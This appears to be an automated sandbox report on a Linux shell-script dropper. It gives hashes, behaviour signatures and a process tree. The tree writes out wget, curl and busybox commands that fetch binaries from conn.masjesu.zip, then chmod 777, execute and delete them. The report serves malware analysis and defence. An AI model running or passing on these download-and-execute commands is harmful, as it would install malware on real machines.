Analysis

  • max time kernel
    149s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 02:15

General

  • Target

    9594f3c1ad6267033e4bcb8ea02755d90c1bcf14d410539cc5233314763084f4.sh

  • Size

    10KB

  • MD5

    62c3af5d98480e4bfccd186de98627f5

  • SHA1

    b814830f919dbd09114e657b1657554d719d9fb7

  • SHA256

    9594f3c1ad6267033e4bcb8ea02755d90c1bcf14d410539cc5233314763084f4

  • SHA512

    32736f2421c49416705f2f773c0a659184e55a3fb4c329ad0a008b34fc43b59ec7d1100fac4fb4674776e5e02e46cf7729e29bb6491e99ba220e53df38489bf2

  • SSDEEP

    192:G5B87XQQiZG/rqpxwZWOzkUZ/rqpxt5B87XSWkUzN:yQccZV9

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/9594f3c1ad6267033e4bcb8ea02755d90c1bcf14d410539cc5233314763084f4.sh
    /tmp/9594f3c1ad6267033e4bcb8ea02755d90c1bcf14d410539cc5233314763084f4.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
          • System Network Configuration Discovery
          PID:669
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
          • System Network Configuration Discovery
          PID:688
        • /bin/chmod
          chmod 777 oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          ./oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/TXtJAFY2FPmLSfRhLI3K6JBoUHWcVUJfe5
            2⤵
            • System Network Configuration Discovery
            PID:694
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/TXtJAFY2FPmLSfRhLI3K6JBoUHWcVUJfe5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:696

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/oyUBEcyDU1EsQwThfqleajw2zL6xGkjhVq

                Filesize

                153B

                MD5

                998368d7c95ea4293237f2320546e440

                SHA1

                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                SHA256

                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                SHA512

                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97